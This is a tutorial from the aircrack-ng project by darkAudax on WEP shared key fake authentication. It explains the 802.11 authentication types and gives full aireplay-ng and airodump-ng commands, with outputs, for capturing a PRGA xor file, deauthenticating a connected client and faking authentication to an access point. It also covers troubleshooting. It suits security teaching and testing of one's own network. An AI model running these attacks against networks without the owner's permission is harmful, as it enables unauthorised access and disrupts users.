Tutorial: How to do shared key fake authentication ?

Version: 1.08 November 7, 2008
By: darkAudax

File linked to this tutorial: wep.shared.key.authentication.cap

This tutorial covers the situation where you receive the following error message when trying to do fake authentication with aireplay-ng:

 15:46:53  Sending Authentication Request
 15:46:53  AP rejects open-system authentication
 Please specify a PRGA-file (-y).

The tutorial will describe the WEP authentication schemes so you have an understanding of what your are doing. Then explain the techniques and troubleshooting methods in detail.

It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

First, this solution assumes:

• You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
• You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following these instructions.
• You are using v0.9 of aircrack-ng. If you use a different version then some of the command options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

In this tutorial, here is what was used:

• MAC address of PC running aircrack-ng suite: 00:09:5B:EC:EE:F2
• BSSID (MAC address of access point): 00:14:6C:7E:40:80
• ESSID (Wireless network name): teddy
• Access point channel: 9
• Wireless interface: ath0
• MAC address of a client successfully associated with the access point: 00:0F:B5:34:30:30

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

An access point must authenticate a station before the station can associate with the access point or communicate with the network. The IEEE 802.11 standard defines two types of WEP authentication: Open System and Shared Key.

• Open System Authentication allows any device to join the network, assuming that the device SSID matches the access point SSID. Alternatively, the device can use the “ANY” SSID option to associate with any available access point within range, regardless of its SSID.

• Shared Key Authentication requires that the station and the access point have the same WEP key to authenticate.

We will be dealing with the shared key authentication. Netgear has a very nice diagram and write-up on shared key authentication. Please take a minute and review this material so you understand what shared key authentication is and how it works.

In order to do a shared key fake authentication, you need to have a PRGA (pseudo random generation algorithm) xor file to feed into it. We will look at the detailed steps to obtain this in a typical scenario. Then use the PRGA xor file to do a fake authentication.

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for bssid to collect the PRGA xor file
3. Deauthenticate a connected client
4. Perform shared key fake authentication

Enter the following command to start the wireless card on channel 9 in monitor mode:

 airmon-ng start wifi0 9

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
           Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
           Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3  
           Retry:off   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the MAC address of the card in the AP field, other drivers do no. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.

• If another interface started other then ath0 then you can use “airomon-ng stop athX” where X is each interface you want to stop. Once they are all stopped, then use “airmon-ng start wifi0 <channel>” to start it.

Open another console session to capture the PRGA xor file. Then enter:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w sharedkey ath0

Where:

• -c 9 is the channel for the wireless network
• --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
• -w sharedkey is file name prefix for the file which will contain the PRGA xor data.
• ath0 is the interface name.

Beyond the error message shown in the introduction, how do you determine if shared key authentication is required? In the screen below, notice the “SKA” for the AP under AUTH. This means it is using shared key authentication. This will not show up until a client has successfully associated with the AP.

  CH  9 ][ Elapsed: 20 s ][ 2007-02-10 16:29 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   37 100      197        9    0   9  11  WEP  WEP    SKA  teddy                            
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:34:30:30   61     0        7       

Once “SKA” appears on the airodump-ng screen like in example above, do file listing and it will look something like:

 sharedkey-01-00-14-6C-7E-40-80.xor  sharedkey-01.cap  sharedkey-01.txt

The “sharedkey-01-00-14-6C-7E-40-80.xor” file contains the PRGA xor bits that can be used in a later step to successfully complete the fake authentication. The sample wep.shared key authentication file can be viewed with WireShark to see what the packet exchange looks like. You can compare this to your own captures to determine if you are missing packets.

In real life, you will not likely be that lucky and happen to be sniffing when a wireless client associates with the access point yielding the PRGA xor file. To obtain the PRGA xor bit file, there are two basic methods:

• The first is to be patient. Meaning start airodump-ng and just wait for a client to associate. You know this has happened when CIPHER field goes from blank to “PSK”. Success! If this happens then skip step 3 “Deauthenticate a connected client” and proceed to step 4
• The second method is to deauthenticate a client to force it to associate again. This will allow you to capture the shared key authentication handshake.

This step is only required if you do not have a PRGA xor file. You may also use the PRGA xor file obtained via a chopchop or fragmentation attack.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following command:

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

Where:

• -0 means deauthentication
• 1 is the number of deauths to send (you can send multiple if you wish)
• -a 00:14:6C:7E:40:80 is the MAC address of the access point
• -c 00:0F:B5:34:30:30 is the MAC address of the client you are deauthing
• ath0 is the interface name

Here is what the output looks like:

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

Prior to executing the command above, open another console and start airodump-ng in the same way as you did earlier “airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w sharedkey ath0”.

Once you run the deauthentication command, see if airodump-ng has output the PRGA xor file. If not, try another deauthentication or against another client.

Once you have successfully obtained the PRGA xor file, proceed to the next step.

• The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them.

Now that you have a PRGA xor file, you are ready to do the shared key fake authentication.

 aireplay-ng -1 0  -e teddy -y sharedkey-04-00-14-6C-7E-40-80.xor -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Where:

• -1 means fake authentication
• 0 means only athenticate once
• -e teddy is the SSID of the network
• -y sharedkey-04-00-14-6C-7E-40-80.xor is the name of file containing the PRGA xor bits
• -a 00:14:6C:7E:40:80 is the access point MAC address
• -h 00:09:5B:EC:EE:F2
• ath0 is the interface name

Here is an example of a successful authentication:

 11:44:55  Sending Authentication Request
 11:44:55  AP rejects open-system authentication
 Part1: Authentication
 Code 0 - Authentication SUCCESSFUL :)
 Part2: Association
 Code 0 - Association SUCCESSFUL :)

If you receive the messages above, you are good to go forward with the standard injection techniques.

Here is an example of a failed authentication:

 11:45:06  Sending Authentication Request
 11:45:06  AP rejects open-system authentication
 Part1: Authentication
 Authentication failed!
 Part1: Authentication
 Authentication failed!
 and so on...

Here another type of failure:

 11:55:05  Sending Authentication Request
 11:55:05  AP rejects open-system authentication
 Part1: Authentication
 Code 0 - Authentication SUCCESSFUL :)
 Part2: Association
 Not answering...(Step3)
 Retrying association sequence!
 Part2: Association
 Not answering...(Step3)
 Retrying association sequence!
 and so on...

• If you use a PRGA xor file obtained from a chopchop attack, be sure it is at least 144 bytes long. You need a minimum number of bits to successfully do the shared key fake authentication.

• If you received the “Part 1 authentication failure” message, try another xor file. Sometimes it appears that you have a proper handshake but this is not the case. Failing this, try some of the other tips below.
• Some access points are configured to only allow selected MAC access to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. Changing your MAC address is not covered in this tutorial. Check the wiki for FAQs and other related tutorials.
• Make sure you are physically close enough to the access point to inject packets. You can confirm that you can communicate with the specific AP by following these instructions.
• If you received the “Part2: Association Not answering…(Step3)” message then means your card MAC address does not match the MAC address being used on the fake authentication command. Make sure both are the same and retry.